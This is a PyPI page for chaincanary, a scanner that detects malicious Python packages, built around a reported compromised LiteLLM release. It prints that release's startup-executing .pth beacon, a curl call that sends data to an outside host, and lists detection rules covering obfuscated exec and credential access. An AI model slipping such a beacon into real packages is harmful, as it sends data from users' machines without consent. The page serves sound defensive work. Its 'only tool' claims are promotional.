Skip to main content

Security scanner for Python packages โ€” detects supply chain attacks before they execute

Project description

๐Ÿ›ก๏ธ chaincanary

Stop malicious Python packages before they execute.

The only tool that detected LiteLLM 1.82.7 as MALICIOUS โ€” before any advisory was published. No account. No GitHub App. Nothing leaves your machine.

CI PyPI version Python 3.9+ License: Apache 2.0


What happened

On March 24, 2026, LiteLLM 1.82.7 was published to PyPI with a hidden .pth file:

# litellm_init.pth โ€” executes on every Python startup
import subprocess, sys
subprocess.Popen(
    ['curl', '-s', 'https://models.litellm.cloud/beacon', '-d', sys.version],
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)

This file runs every time you start Python โ€” not just during pip install. It was downloaded ~95 million times per month. The package was flagged and removed, but not before significant exposure.

chaincanary was built to catch this.


Quick demo

pip install chaincanary

# Scan LiteLLM 1.82.7 (the compromised version)
chaincanary check litellm 1.82.7
๐Ÿ” chaincanary โ€” Analyzing litellm==1.82.7

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Severity   โ”‚ Rule                         โ”‚ Title                                โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ CRITICAL   โ”‚ PTH_FILE_INSTALL             โ”‚ .pth file installs dangerous code... โ”‚
โ”‚ CRITICAL   โ”‚ PTH_NETWORK_BEACON           โ”‚ phone-home on every Python startup   โ”‚
โ”‚ CRITICAL   โ”‚ PTH_SUBPROCESS               โ”‚ subprocess on every Python startup   โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

  Score: 10.0 / 10.0
  Verdict: โ–ˆโ–ˆ MALICIOUS

  Rollback: pip install litellm==1.82.6

Install

pip install chaincanary

Requires Python 3.9+. No Docker. No root. Works on Linux, macOS, Windows.


Usage

Scan a single package

chaincanary check requests 2.28.0
chaincanary check litellm latest

Audit your entire project

chaincanary audit requirements.txt
chaincanary audit pyproject.toml

Output:

๐Ÿ” chaincanary audit โ€” requirements.txt (42 packages)

Scanning packages... โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 100%

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Package          โ”‚ Version โ”‚ Score โ”‚ Verdict  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ litellm          โ”‚ 1.82.7  โ”‚ 10.0  โ”‚ MALICIOUSโ”‚
โ”‚ suspicious-lib   โ”‚ 0.3.1   โ”‚  7.5  โ”‚ HIGH_RISKโ”‚
โ”‚ requests         โ”‚ 2.28.0  โ”‚  0.0  โ”‚ SAFE     โ”‚
โ”‚ ...              โ”‚ ...     โ”‚  0.0  โ”‚ SAFE     โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

โœ— 2 package(s) failed the audit.

Compare two versions

chaincanary diff litellm 1.82.6 1.82.7
Version diff: litellm 1.82.6 โ†’ 1.82.7

  Added files:  litellm_init.pth   โ† NEW .pth file
  Removed:      (none)
  [CRITICAL] New .pth file with network beacon

Safe install

# Scans before installing, blocks if malicious
chaincanary install litellm==1.82.7

Recommended workflow

Use chaincanary install for individual packages and chaincanary audit in CI. Aliasing pip to chaincanary is not recommended โ€” it changes timing expectations (chaincanary downloads + scans before installing) and may break flags like -e . or -r.

# Individual package โ€” scan then install
chaincanary install requests==2.32.0

# CI โ€” scan all dependencies before deployment
chaincanary audit requirements.txt --fail-on HIGH_RISK

JSON output (for pipelines)

chaincanary check litellm 1.82.7 --json-output | jq '.verdict'
# "MALICIOUS"

chaincanary audit requirements.txt --json-output \
  | jq '.results[] | select(.verdict != "SAFE")'

GitHub Action

Add to any repo to block malicious packages on every push:

# .github/workflows/security.yml
name: Supply Chain Security

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Scan dependencies for supply chain attacks
        uses: allenenli/chaincanary@v0.1.0
        with:
          requirements: requirements.txt
          fail-on: MALICIOUS   # or HIGH_RISK for stricter mode

That's it. The action will fail your build if any package matches a known attack pattern.


The .pth problem โ€” and why every other tool missed it

A .pth file in Python's site-packages runs on every Python startup, not just during pip install. No other scanner understands this distinction.

chaincanary is the only tool with a semantic .pth classifier โ€” it doesn't just flag .pth files blindly. It understands what they actually do:

.pth content Classification Finding
Empty Normal โœ“ silent
/usr/local/lib/... Path-only โœ“ silent
setuptools distutils shim Safe code โš  LOW
subprocess.Popen(['curl', ...]) Dangerous ๐Ÿ”ด CRITICAL

This is why LiteLLM 1.82.7 was flagged as MALICIOUS while every other tool passed it clean.


What chaincanary detects

Beyond .pth โ€” other attack vectors

What Where Severity
Network call during pip install setup.py HIGH
Shell command during pip install setup.py HIGH
exec(base64.decode(...)) obfuscation anywhere HIGH
Network call on every import __init__.py MEDIUM
SSH / AWS credentials access anywhere HIGH
Path traversal in wheel zip .whl structure CRITICAL
Known malicious SHA256 hash .whl file CRITICAL

What chaincanary does NOT do

  • Does not install packages
  • Does not execute any package code
  • Does not require Docker or privileged access
  • Does not send package contents to any server
  • Does not replace pip โ€” it scans before you decide to install

How it works

pip install request      โ† your intent
      โ†“
chaincanary                 โ† intercepts
      โ†“
Download wheel (no install, no execute)
      โ†“
Static analysis:
  - Zip safety (path traversal, zip bomb)
  - .pth file semantic classifier
  - AST analysis of setup.py / install hooks
  - Obfuscation detection
  - __init__.py delayed-trigger scan
  - SHA256 hash database
      โ†“
Score 0โ€“10 โ†’ Verdict: SAFE / LOW_RISK / HIGH_RISK / MALICIOUS
      โ†“
Block or proceed

No sandboxing, no Docker, no kernel modules. Pure Python static analysis that runs in seconds.


Comparison

Tool .pth semantic analysis No account needed Local-only (no data upload) Offline capable Open source
chaincanary โœ… 4-category classifier โœ… โœ… โœ… โœ…
socket.dev โŒ โŒ requires GitHub App โŒ uploads your repo โŒ โŒ SaaS
pip-audit โŒ โœ… โœ… partial โœ…
Safety โŒ โŒ requires account โœ… โŒ partial
Trivy โŒ โœ… โœ… โœ… โœ…
Bandit โŒ (SAST only) โœ… โœ… โœ… โœ…

chaincanary is the only tool with .pth semantic analysis. Every other tool would have passed LiteLLM 1.82.7 as clean.


Why not socket.dev?

socket.dev is a great product โ€” but it's built for a different threat model:

chaincanary socket.dev
Setup pip install chaincanary Install GitHub App + create account
Data privacy Nothing leaves your machine Your repo metadata is sent to their servers
.pth detection โœ… Semantic 4-category classifier โŒ Not detected
Works offline โœ… โŒ
Cost Free, open source Paid (beyond free tier)
Use case Pre-install scan, CI audit Continuous repo monitoring

The bottom line: socket.dev would have passed LiteLLM 1.82.7 as clean. chaincanary catches the .pth pattern โ€” because it's the only tool that understands what .pth files do.

chaincanary is not a CVE scanner โ€” use it alongside pip-audit or Safety for advisory DB coverage. It's a behavioral scanner: it looks at what a package does, not just whether it appears on a known-bad list.


Known Limitations

chaincanary is a static behavioral scanner, not a magic bullet. Know its blind spots:

Gap What it means Workaround
No C extension analysis Malicious .so/.pyd files aren't scanned Sandbox (v0.3)
No CVE database Won't catch known vulnerabilities Use alongside pip-audit
No dynamic sandbox Side-effects on import not executed Static signals only (for now)
Multi-stage payloads Pkg that downloads payload at runtime looks clean Network monitoring (v0.3)
Private registries Can't download from non-public PyPI mirrors --offline flag (v0.2)

โ†’ Full limitation table: ROADMAP.md#known-limitations


Roadmap

Version Theme ETA
post-0.1 Scoring fixes, DNS exfil, typosquatting, git deps โœ… done
v0.2 Hash feed, SARIF output, --timeout, pre-commit hook soon
v0.3 Lightweight sandbox, package reputation, npm/cargo later

โ†’ Full plan: ROADMAP.md


Contributing

git clone https://github.com/allenenli/chaincanary
cd chaincanary
pip install -e ".[dev]"
pytest tests/

PRs welcome โ€” especially:

  • New malicious hash signatures
  • Detection rules for new attack patterns
  • False positive reports (real packages that chaincanary misflags)

License

Apache 2.0. See LICENSE.


Built after the LiteLLM supply chain attack, March 2026.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

chaincanary-0.1.5.tar.gz (41.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

chaincanary-0.1.5-py3-none-any.whl (39.9 kB view details)

Uploaded Python 3

File details

Details for the file chaincanary-0.1.5.tar.gz.

File metadata

  • Download URL: chaincanary-0.1.5.tar.gz
  • Upload date:
  • Size: 41.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for chaincanary-0.1.5.tar.gz
Algorithm Hash digest
SHA256 5f0bf4f5006818b6d67efe0e39af3fa1f1ff5ad186de2f9027124c02152c1f9b
MD5 172a1d2feaebe507f1f666c168903c3e
BLAKE2b-256 6c623f2cd49f6222bebd1c85d6fe7b0307d7599ac0059a24afa2c4537d14f751

See more details on using hashes here.

Provenance

The following attestation bundles were made for chaincanary-0.1.5.tar.gz:

Publisher: release.yml on AetherCore-Dev/chaincanary

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file chaincanary-0.1.5-py3-none-any.whl.

File metadata

  • Download URL: chaincanary-0.1.5-py3-none-any.whl
  • Upload date:
  • Size: 39.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for chaincanary-0.1.5-py3-none-any.whl
Algorithm Hash digest
SHA256 39bc0cc8436a3bd6e33cd65979cd8d574f39e6502535ef623c6ed071a3c429d5
MD5 23e8fd5ff04605a585e78228a7757fd8
BLAKE2b-256 ea6b62621e0bcf7f1a66dded97a9abdec8744495e09629587c221ac3a2888959

See more details on using hashes here.

Provenance

The following attestation bundles were made for chaincanary-0.1.5-py3-none-any.whl:

Publisher: release.yml on AetherCore-Dev/chaincanary

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page